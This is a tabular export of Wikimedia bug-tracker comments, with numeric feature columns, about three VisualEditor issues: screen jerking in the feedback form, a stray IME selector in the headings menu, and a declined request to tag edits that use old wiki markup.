245261,VisualEditor: Feedback form moves and jerks the screen around,*** Bug 50533 has been marked as a duplicate of this bug. ***,,,1385375230,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5jyjadx572ehzjtstm2i,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50533 has been marked as a duplicate of this bug. ***
245253,VisualEditor: Feedback form moves and jerks the screen around,*** Bug 50602 has been marked as a duplicate of this bug. ***,,,1373152861,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5jyjadx572ehzjtstm2i,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50602 has been marked as a duplicate of this bug. ***
245246,VisualEditor: Feedback form moves and jerks the screen around,Sorry about this bug; we've fixed this and just deployed it live.,,,1372894536,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5jyjadx572ehzjtstm2i,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.9333333333333333,Sorry about this bug; we've fixed this and just deployed it live.
245240,VisualEditor: Feedback form moves and jerks the screen around,"Change 71844 merged by jenkins-bot:
Listen to keypress in ve.ce.surface.$ rather than window

https://gerrit.wikimedia.org/r/71844",,,1372890609,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jyjadx572ehzjtstm2i,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,21.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,21.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.894736842105263,1.0,"Change 71844 merged by jenkins-bot:
Listen to keypress in ve.ce.surface.$ rather than window

GERRIT_URL"
245234,VisualEditor: Feedback form moves and jerks the screen around,"Change 71844 had a related patch set uploaded by Robmoen:
Listen to keypress in ve.ce.surface.$ rather than window.

https://gerrit.wikimedia.org/r/71844",,,1372874494,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jyjadx572ehzjtstm2i,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,17.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.826086956521739,1.0,"Change 71844 had a related patch set uploaded by Robmoen:
Listen to keypress in ve.ce.surface.$ rather than window.

GERRIT_URL"
245227,VisualEditor: Feedback form moves and jerks the screen around,"This has also been reported on Firefox 22/Windows 7, and by a third user who hasn't specified browser/OS.",,,1372834749,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-5jyjadx572ehzjtstm2i,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,16.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,3.52,0.92,"This has also been reported on Firefox 22/Windows 7, and by a third user who hasn't specified browser/OS."
245220,VisualEditor: Feedback form moves and jerks the screen around,This sounds really unhelpful; sorry about this.,,,1372726074,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5jyjadx572ehzjtstm2i,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.555555555555555,1.0,This sounds really unhelpful; sorry about this.
52529,IME selector appears when the VisualEditor headings style selector is clicked,"Enter a wiki with VE and ULS. (Enable ULS in preferences if needed.)

Start editing a page using VE. Press the headings style dropdown.

Observed: IME selector appears near the dropdown.

Expected: IME selector must not appear. It's not a place for writing things.

Background: there's an <input> element hiding there to capture click events (according to Roan).

https://gerrit.wikimedia.org/r/#/c/68339/ may be able to fix it (though some modifications may be needed).

--------------------------
**Version**: unspecified
**Severity**: normal
**Whiteboard**: ve",Needs Triage,90.0,1372716720,1375770944.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-gm7mlj7ylnonhtpcmhmc,task_description,resolved,True,c1,3,False,False,True,0,,1.0,0.0,0.0,1.0,1.0,2.5,1.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,2.0,5.5,0.0,1.5,0.5,0.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,1.5,2.5,1.0,1.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,1.5,11.0,1.5,0.5,4.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,1.5,5.5,5.5,0.0,0.0,0.0,1.5,0.0,0.0,2.5,0.0,3.0,0.0,0.0,1.5,3.685483870967742,0.6451612903225806,"Enter a wiki with VE and ULS. (Enable ULS in preferences if needed.)

Start editing a page using VE. Press the headings style dropdown.

Observed: IME selector appears near the dropdown.

Expected: IME selector must not appear. It's not a place for writing things.

Background: there's an <input> element hiding there to capture click events (according to Roan).

URL may be able to fix it (though some modifications may be needed).

--------------------------
**Version**: unspecified
**Severity**: normal
**Whiteboard**: ve"
244730,IME selector appears when the VisualEditor headings style selector is clicked,"Change 72356 merged by jenkins-bot:
Remove unnecessary ULS IME selector from VE headings menu

https://gerrit.wikimedia.org/r/72356",,,1375115733,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gm7mlj7ylnonhtpcmhmc,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.65,1.0,"Change 72356 merged by jenkins-bot:
Remove unnecessary ULS IME selector from VE headings menu

GERRIT_URL"
244725,IME selector appears when the VisualEditor headings style selector is clicked,"Change 72356 had a related patch set uploaded by Amire80:
Remove unnecessary ULS IME selector from VE headings menu

https://gerrit.wikimedia.org/r/72356",,,1373190428,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gm7mlj7ylnonhtpcmhmc,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,30.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.782608695652174,1.0,"Change 72356 had a related patch set uploaded by Amire80:
Remove unnecessary ULS IME selector from VE headings menu

GERRIT_URL"
244723,IME selector appears when the VisualEditor headings style selector is clicked,"I tested, and my assumption is correct: If https://gerrit.wikimedia.org/r/#/c/68339/ is merged, then this bug can be fixed by adding:

$wgULSNoImeSelectors[] = 'ul.ve-ui-menuWidget input';",,,1373020498,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-gm7mlj7ylnonhtpcmhmc,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,5.0,0.0,5.0,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,5.0,3.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,3.3947368421052633,0.868421052631579,"I tested, and my assumption is correct: If URL is merged, then this bug can be fixed by adding:

$wgULSNoImeSelectors[] = 'ul.ve-ui-menuWidget input';"
52527,Tagging articles using old markup on VE,"I note that if an editor uses old markup in VE (like [[link]]), it gets enclosed in <nowiki> tags

Could we have an additional tag added to the Edit summary, (similar to the Visual Editor tag we have?) which states somethine like ""Old wiki markup""

That way, we can keep track of, and rectify all the cases where the old wiki markup is used while using VE, and remedy it rather than clutter dozens of article with nowiki tags which might not be removed for days

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49820",Needs Triage,90.0,1372715580,1375200134.0,PHID-USER-65pjzcmoby2fsgzdrfjq,False,,False,PHID-TASK-tndk34qrdqsecj3chsun,task_description,declined,True,c1,3,False,False,True,0,,0.5,0.0,0.0,1.5,0.5,4.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,8.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,3.5,1.0,1.0,1.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,13.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,3.5,1.5,8.5,2.5,1.5,6.0,0.0,0.0,0.0,0.0,4.0,0.5,0.0,0.0,3.0,8.0,4.5,0.5,1.0,0.0,3.0,0.0,2.0,1.0,0.0,0.5,0.0,0.0,1.5,3.5223880597014925,0.7164179104477613,"I note that if an editor uses old markup in VE (like [[link]]), it gets enclosed in <nowiki> tags

Could we have an additional tag added to the Edit summary, (similar to the Visual Editor tag we have?) which states somethine like ""Old wiki markup""

That way, we can keep track of, and rectify all the cases where the old wiki markup is used while using VE, and remedy it rather than clutter dozens of article with nowiki tags which might not be removed for days

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
244645,Tagging articles using old markup on VE,"**nykevin.norris** wrote:

Removing self from CC.  Tired of spam.  Bug is dead, people.",,,1375295445,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.04,0.76,"**nykevin.norris** wrote:

Removing self from CC.  Tired of spam.  Bug is dead, people."
244639,Tagging articles using old markup on VE,"**kwwilliams** wrote:

(In reply to comment #20)
> (In reply to comment #18)
> kwwilliams: Unrelated to agreeing or disagreeing with others, could you
> please
> assume that people mean well instead of calling names, to keep Bugzilla a
> friendly place? 

I haven't called anyone names. I don't plan on starting to, either. If you can suggest a friendlier wording to describe a conscious decision not to fix a bug and requiring other people to deal with the consequences of the bug every day forever instead, I'm willing to listen to suggestions.",,,1375295294,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,1.0,1.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,1.0,2.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,14.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,5.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,1.0,1.0,7.0,0.0,0.0,0.0,1.0,8.0,0.0,1.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,2.0,1.0,0.0,0.0,3.6627906976744184,0.6744186046511628,"**kwwilliams** wrote:

(In reply to comment #20)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I haven't called anyone names. I don't plan on starting to, either. If you can suggest a friendlier wording to describe a conscious decision not to fix a bug and requiring other people to deal with the consequences of the bug every day forever instead, I'm willing to listen to suggestions."
244635,Tagging articles using old markup on VE,"(In reply to comment #18)
kwwilliams: Unrelated to agreeing or disagreeing with others, could you please assume that people mean well instead of calling names, to keep Bugzilla a friendly place? High-level debates on general development priorities are better placed on https://en.wikipedia.org/wiki/Wikipedia:VE/F instead of a bug report which is only meant to be about a *specific* problem *in the code*. Thanks!",,,1375293668,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,3.0,0.0,8.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,1.0,6.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,4.0,0.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,5.0,4.0,8.0,1.0,1.0,6.0,0.0,0.0,1.0,1.0,5.0,1.0,1.0,0.0,1.0,17.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,4.0,1.0,0.0,0.0,4.064935064935065,0.8441558441558441,"(In reply to comment #18)
kwwilliams: Unrelated to agreeing or disagreeing with others, could you please assume that people mean well instead of calling names, to keep Bugzilla a friendly place? High-level debates on general development priorities are better placed on URL instead of a bug report which is only meant to be about a *specific* problem *in the code*. Thanks!"
244628,Tagging articles using old markup on VE,"**kwwilliams** wrote:

Closely related problems, Kevin Norris: if they would *fix* 49686, this one would go away. This one can't really be fixed because the base condition that causes it should be prevented, not reported.",,,1375290243,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,4.0,4.0,2.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,8.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,6.0,4.0,6.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.76,0.76,"**kwwilliams** wrote:

Closely related problems, Kevin Norris: if they would *fix* 49686, this one would go away. This one can't really be fixed because the base condition that causes it should be prevented, not reported."
244623,Tagging articles using old markup on VE,"**nykevin.norris** wrote:

(In reply to comment #17)
> Instead, James Forrester and Erik Moller have decreed that the bug not be
> fixed, and that volunteers should eagerly flock to monitoring the output of
> an
> edit filter that detects each and every time this happens to that these
> volunteers can fix it. That's repulsive. That's a level of disregard for the
> volunteers that work on this project that is breathtaking. It's the *reason*
> that the VE team can fix dozens of bugs each hour and the Wikipedia community
> still complains that they are non-responsive.

That is bug 49686, not this one.  Why are we discussing it here?",,,1375287296,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,22.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,0.0,4.0,4.0,16.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.98,0.64,"**nykevin.norris** wrote:

(In reply to comment #17)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That is bug 49686, not this one.  Why are we discussing it here?"
244618,Tagging articles using old markup on VE,"**kwwilliams** wrote:

(In reply to comment #15)
> Chris, could you add a link to that comment. Im interested in why the nowiki
> edit filter isnt sufficient.

It isn't sufficient because it disappoints the first human involved, this hypothetical new editor that is so confused by all of our existing material that he's errantly typing wikitext into a source window. VE could *help* him, but instead it pops a warning. The warning obviously isn't working, because we see saves of this material happening constantly. He goes ahead and saves it anyway, and he's bewildered and confused: he did just what the little cheat sheet he got from a friend told him to do, and it didn't work.

It's insufficient because it requires a second human being to then review the change, figure out what it was that the first human was actually attempting, and then correct it if he can. 

It's insufficient because it's in support of a use-case that doesn't exist: there's no reason to put something like [[New York City|the Big Apple]] into articles. If there *were*, it's coming from an editor that is quite skilled enough to go into the source editor. If we need to support putting such things in using the visual editor, a workflow can be designed with a ""nowiki"" button to do it intentionally.

Instead, James Forrester and Erik Moller have decreed that the bug not be fixed, and that volunteers should eagerly flock to monitoring the output of an edit filter that detects each and every time this happens to that these volunteers can fix it. That's repulsive. That's a level of disregard for the volunteers that work on this project that is breathtaking. It's the *reason* that the VE team can fix dozens of bugs each hour and the Wikipedia community still complains that they are non-responsive.",,,1375286688,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,1.0,0.25,0.0,0.5,1.25,5.5,1.5,1.0,0.0,0.75,1.25,1.0,0.0,0.0,0.5,0.75,0.75,5.75,10.75,0.25,1.75,0.25,0.0,0.0,1.75,0.25,0.0,0.25,1.25,0.0,0.25,7.75,0.75,3.75,1.5,0.0,0.0,0.0,0.0,0.5,0.25,2.25,0.0,0.25,0.0,0.0,0.25,1.5,1.0,13.0,0.75,1.5,0.25,0.5,0.25,0.0,0.0,0.25,1.0,0.0,0.75,1.75,0.25,0.0,0.0,1.5,0.0,6.0,2.75,6.75,3.25,2.5,9.25,0.0,0.0,0.0,0.25,4.5,0.0,0.25,0.0,6.75,10.75,3.0,0.0,0.5,0.0,6.75,0.0,2.25,2.5,0.5,2.5,0.0,0.0,0.5,3.9250000000000003,0.7011860174781523,"**kwwilliams** wrote:

(In reply to comment #15)
QUOTE
QUOTE

It isn't sufficient because it disappoints the first human involved, this hypothetical new editor that is so confused by all of our existing material that he's errantly typing wikitext into a source window. VE could *help* him, but instead it pops a warning. The warning obviously isn't working, because we see saves of this material happening constantly. He goes ahead and saves it anyway, and he's bewildered and confused: he did just what the little cheat sheet he got from a friend told him to do, and it didn't work.

It's insufficient because it requires a second human being to then review the change, figure out what it was that the first human was actually attempting, and then correct it if he can. 

It's insufficient because it's in support of a use-case that doesn't exist: there's no reason to put something like [[New York City|the Big Apple]] into articles. If there *were*, it's coming from an editor that is quite skilled enough to go into the source editor. If we need to support putting such things in using the visual editor, a workflow can be designed with a ""nowiki"" button to do it intentionally.

Instead, James Forrester and Erik Moller have decreed that the bug not be fixed, and that volunteers should eagerly flock to monitoring the output of an edit filter that detects each and every time this happens to that these volunteers can fix it. That's repulsive. That's a level of disregard for the volunteers that work on this project that is breathtaking. It's the *reason* that the VE team can fix dozens of bugs each hour and the Wikipedia community still complains that they are non-responsive."
244614,Tagging articles using old markup on VE,"(In reply to comment #15)
> Chris, could you add a link to that comment. 
It's the second comment by VQuakr at https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=566546550#WONTFIX_on_nowiki.27s (that's a permalink to the present version of the page but the discussion may not have concluded yet).",,,1375259183,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,2.0,14.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,14.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.4761904761904763,0.7857142857142857,"(In reply to comment #15)
QUOTE
It's the second comment by VQuakr at URL (that's a permalink to the present version of the page but the discussion may not have concluded yet)."
244610,Tagging articles using old markup on VE,"Chris, could you add a link to that comment. Im interested in why the nowiki edit filter isnt sufficient.
Preventing the VE nowiki edit is a bit rude, and is sticky tape of the problem with the VE causing these nowikis. In VE, the user cant _see_ the nowiki causing problem all the time. E.g. A space at the beginning of the line isnt obviously the cause of the nowiki. unless VE explicitly tells them where the nowiki is happening, how can we expect the newbie to figure it out.",,,1375257056,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-tndk34qrdqsecj3chsun,task_subcomment,,True,c1,3,False,,,4,,1.0,0.0,0.0,0.0,0.0,4.0,1.5,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.5,0.5,6.5,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,5.0,2.0,1.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,3.5,6.5,3.5,0.5,14.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,5.0,8.0,6.0,0.0,0.0,0.0,5.0,0.0,2.5,2.0,1.0,3.0,0.0,0.0,0.0,3.6551362683438153,0.7196016771488469,"Chris, could you add a link to that comment. Im interested in why the nowiki edit filter isnt sufficient.
Preventing the VE nowiki edit is a bit rude, and is sticky tape of the problem with the VE causing these nowikis. In VE, the user cant _see_ the nowiki causing problem all the time. E.g. A space at the beginning of the line isnt obviously the cause of the nowiki. unless VE explicitly tells them where the nowiki is happening, how can we expect the newbie to figure it out."
